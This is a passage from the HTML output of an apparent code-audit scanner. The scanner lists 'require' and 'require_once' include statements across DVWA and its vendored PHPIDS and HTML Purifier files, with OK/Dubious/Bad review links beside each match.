'HTMLPurifier/URIFilter/MakeAbsolute.php'; 196:<span class='match_highlight'>require</span> 'HTMLPurifier/URIFilter/Munge.php'; 197:<span class='match_highlight'>require</span> 'HTMLPurifier/URIScheme/ftp.php'; 198:<span class='match_highlight'>require</span> 'HTMLPurifier/URIScheme/http.php'; 199:<span class='match_highlight'>require</span> 'HTMLPurifier/URIScheme/https.php'; 200:<span class='match_highlight'>require</span> 'HTMLPurifier/URIScheme/mailto.php'; 201:<span class='match_highlight'>require</span> 'HTMLPurifier/URIScheme/news.php'; 202:<span class='match_highlight'>require</span> 'HTMLPurifier/URIScheme/nntp.php'; 203:<span class='match_highlight'>require</span> 'HTMLPurifier/VarParser/Flexible.php'; 204:<span class='match_highlight'>require</span> 'HTMLPurifier/VarParser/Native.php';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.safe-includes.php</span>:<span class='line_number'>6</span> <span class='match_count'>(84/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * @file 5- * This file was auto-generated by generate-includes.php and includes all of 6: * the core files <span class='match_highlight'>require</span>d by HTML Purifier. This is a convenience stub that 7: * includes all files using dirname(__FILE__) and <span class='match_highlight'>require</span>_once. PLEASE DO NOT 8- * EDIT THIS FILE, changes will be overwritten the next time the script is run. 9- * 10- * Changes to include_path are not necessary.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.safe-includes.php</span>:<span class='line_number'>15</span> <span class='match_count'>(85/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12- 13-$__dir = dirname(__FILE__); 14- 15:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier.php'; 16:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrCollections.php'; 17:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef.php'; 18:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform.php'; 19:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTypes.php'; 20:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrValidator.php'; 21:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Bootstrap.php'; 22:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Definition.php'; 23:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/CSSDefinition.php'; 24:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ChildDef.php'; 25:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Config.php'; 26:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ConfigSchema.php'; 27:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ContentSets.php'; 28:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Context.php'; 29:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/DefinitionCache.php'; 30:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/DefinitionCacheFactory.php'; 31:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Doctype.php'; 32:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/DoctypeRegistry.php'; 33:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ElementDef.php'; 34:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Encoder.php'; 35:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/EntityLookup.php'; 36:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/EntityParser.php'; 37:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ErrorCollector.php'; 38:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ErrorStruct.php'; 39:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Exception.php'; 40:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Filter.php'; 41:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Generator.php'; 42:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLDefinition.php'; 43:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule.php'; 44:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModuleManager.php'; 45:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/IDAccumulator.php'; 46:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Injector.php'; 47:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Language.php'; 48:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/LanguageFactory.php'; 49:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Length.php'; 50:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Lexer.php'; 51:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/PercentEncoder.php'; 52:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Strategy.php'; 53:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/StringHash.php'; 54:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/StringHashParser.php'; 55:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/TagTransform.php'; 56:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Token.php'; 57:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/TokenFactory.php'; 58:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URI.php'; 59:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIDefinition.php'; 60:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIFilter.php'; 61:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIParser.php'; 62:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIScheme.php'; 63:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URISchemeRegistry.php'; 64:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/UnitConverter.php'; 65:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/VarParser.php'; 66:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/VarParserException.php'; 67:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS.php'; 68:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/Enum.php'; 69:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/Integer.php'; 70:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/Lang.php'; 71:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/Switch.php'; 72:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/Text.php'; 73:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/URI.php'; 74:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/Number.php'; 75:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/AlphaValue.php'; 76:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/Background.php'; 77:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php'; 78:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/Border.php'; 79:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/Color.php'; 80:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/Composite.php'; 81:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php'; 82:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/Filter.php'; 83:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/Font.php'; 84:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/FontFamily.php'; 85:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php'; 86:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/Length.php'; 87:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/ListStyle.php'; 88:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/Multiple.php'; 89:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/Percentage.php'; 90:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/TextDecoration.php'; 91:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/CSS/URI.php'; 92:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/HTML/Bool.php'; 93:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/HTML/Color.php'; 94:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/HTML/FrameTarget.php'; 95:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/HTML/ID.php'; 96:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/HTML/Pixels.php'; 97:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/HTML/Length.php'; 98:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/HTML/LinkTypes.php'; 99:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/HTML/MultiLength.php'; 100:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/HTML/Nmtokens.php'; 101:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/URI/Email.php'; 102:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/URI/Host.php'; 103:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/URI/IPv4.php'; 104:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/URI/IPv6.php'; 105:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php'; 106:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/Background.php'; 107:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/BdoDir.php'; 108:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/BgColor.php'; 109:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/BoolToCSS.php'; 110:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/Border.php'; 111:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/EnumToCSS.php'; 112:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/ImgRequired.php'; 113:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/ImgSpace.php'; 114:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/Input.php'; 115:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/Lang.php'; 116:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/Length.php'; 117:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/Name.php'; 118:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/SafeEmbed.php'; 119:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/SafeObject.php'; 120:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/SafeParam.php'; 121:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/ScriptRequired.php'; 122:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/AttrTransform/Textarea.php'; 123:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ChildDef/Chameleon.php'; 124:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ChildDef/Custom.php'; 125:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ChildDef/Empty.php'; 126:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ChildDef/Required.php'; 127:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ChildDef/Optional.php'; 128:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ChildDef/StrictBlockquote.php'; 129:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/ChildDef/Table.php'; 130:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator.php'; 131:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/DefinitionCache/Null.php'; 132:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/DefinitionCache/Serializer.php'; 133:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php'; 134:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Memory.php'; 135:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Bdo.php'; 136:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/CommonAttributes.php'; 137:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Edit.php'; 138:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Forms.php'; 139:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Hypertext.php'; 140:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Image.php'; 141:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Legacy.php'; 142:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/List.php'; 143:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Name.php'; 144:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php'; 145:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Object.php'; 146:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Presentation.php'; 147:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Proprietary.php'; 148:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Ruby.php'; 149:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/SafeEmbed.php'; 150:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/SafeObject.php'; 151:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Scripting.php'; 152:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/StyleAttribute.php'; 153:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Tables.php'; 154:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Target.php'; 155:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Text.php'; 156:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Tidy.php'; 157:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/XMLCommonAttributes.php'; 158:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Name.php'; 159:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Proprietary.php'; 160:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php'; 161:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Strict.php'; 162:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Transitional.php'; 163:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTML.php'; 164:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Injector/AutoParagraph.php'; 165:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Injector/DisplayLinkURI.php'; 166:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Injector/Linkify.php'; 167:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Injector/PurifierLinkify.php'; 168:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Injector/RemoveEmpty.php'; 169:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Injector/SafeObject.php'; 170:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Lexer/DOMLex.php'; 171:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Lexer/DirectLex.php'; 172:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Strategy/Composite.php'; 173:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Strategy/Core.php'; 174:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Strategy/FixNesting.php'; 175:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Strategy/MakeWellFormed.php'; 176:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Strategy/RemoveForeignElements.php'; 177:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Strategy/ValidateAttributes.php'; 178:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/TagTransform/Font.php'; 179:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/TagTransform/Simple.php'; 180:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Token/Comment.php'; 181:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Token/Tag.php'; 182:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Token/Empty.php'; 183:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Token/End.php'; 184:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Token/Start.php'; 185:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/Token/Text.php'; 186:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIFilter/DisableExternal.php'; 187:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIFilter/DisableExternalResources.php'; 188:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIFilter/HostBlacklist.php'; 189:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIFilter/MakeAbsolute.php'; 190:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIFilter/Munge.php'; 191:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIScheme/ftp.php'; 192:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIScheme/http.php'; 193:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIScheme/https.php'; 194:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIScheme/mailto.php'; 195:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIScheme/news.php'; 196:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/URIScheme/nntp.php'; 197:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/VarParser/Flexible.php'; 198:<span class='match_highlight'>require</span>_once $__dir . '/HTMLPurifier/VarParser/Native.php';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.kses.php</span>:<span class='line_number'>8</span> <span class='match_count'>(86/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>5- * Emulation layer for code that used kses(), substituting in HTML Purifier. 6- */ 7- 8:<span class='match_highlight'>require</span>_once dirname(__FILE__) . '/HTMLPurifier.auto.php'; 9- 10-function kses($string, $allowed_html, $allowed_protocols = null) { 11- $config = HTMLPurifier_Config::createDefault();</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.auto.php</span>:<span class='line_number'>8</span> <span class='match_count'>(87/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>5- */ 6- 7-set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path() ); 8:<span class='match_highlight'>require</span>_once 'HTMLPurifier/Bootstrap.php'; 9:<span class='match_highlight'>require</span>_once 'HTMLPurifier.autoload.php';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Composite.php</span>:<span class='line_number'>34</span> <span class='match_count'>(88/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require</span>_once 'IDS/Log/Interface.php'; 35- 36-/** 37- * Log Composite</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/File.php</span>:<span class='line_number'>34</span> <span class='match_count'>(89/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require</span>_once 'IDS/Log/Interface.php'; 35- 36-/** 37- * File logging wrapper</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/File.php</span>:<span class='line_number'>140</span> <span class='match_count'>(90/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>137- * Prepares data 138- * 139- * Converts given data into a format that can be stored into a file. 140: * You might edit this method to your <span class='match_highlight'>require</span>ments. 141- * 142- * @param mixed $data incoming report data 143- *</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>34</span> <span class='match_count'>(91/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require</span>_once 'IDS/Log/Interface.php'; 35- 36-/** 37- * Email logging wrapper</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>264</span> <span class='match_count'>(92/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>261- * Prepares data 262- * 263- * Converts given data into a format that can be read in an email. 264: * You might edit this method to your <span class='match_highlight'>require</span>ments. 265- * 266- * @param mixed $data the report data 267- *</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>34</span> <span class='match_count'>(93/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require</span>_once 'IDS/Log/Interface.php'; 35- 36-/* 37- * Needed SQL:</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./setup.php</span>:<span class='line_number'>4</span> <span class='match_count'>(94/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./phpinfo.php</span>:<span class='line_number'>3</span> <span class='match_count'>(95/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 3:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 4- 5-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 6-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>15</span> <span class='match_count'>(96/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12- 13- 14-// Include configs 15:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'config/config.inc.php'; 16- 17:<span class='match_highlight'>require</span>_once( 'dvwaPhpIds.inc.php' ); 18- 19-// Declare the $html variable 20-if(!isset($html)){</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>14</span> <span class='match_count'>(97/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11-// Add PHPIDS to include path 12-set_include_path( get_include_path().PATH_SEPARATOR.DVWA_WEB_PAGE_TO_PHPIDS.'lib/' ); 13- 14:<span class='match_highlight'>require</span>_once 'IDS/Init.php'; 15- 16-function dvwaPhpIdsVersionGet() { 17- return '0.6';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>74</span> <span class='match_count'>(98/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>71- $result = $ids->run(); 72- 73- if (!$result->isEmpty()) { 74: <span class='match_highlight'>require</span>_once 'IDS/Log/File.php'; 75: <span class='match_highlight'>require</span>_once 'IDS/Log/Composite.php'; 76- 77- $compositeLog = new IDS_Log_Composite(); 78- $compositeLog->addLogger(IDS_Log_File::getInstance($init));</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./logout.php</span>:<span class='line_number'>4</span> <span class='match_count'>(99/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'phpids' ) ); 7-</code></pre> </div> </div> </div> </div> <div class='signature_8ba15bbb3811356170950e052e3f8060 signature_group_dangerous_functions signature_group'> <a name='s-8ba15bbb3811356170950e052e3f8060'></a> <h3> <code>require_once</code> <span class='signature_count'>(58)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","8ba15bbb3811356170950e052e3f8060")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./instructions.php</span>:<span class='line_number'>4</span> <span class='match_count'>(1/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 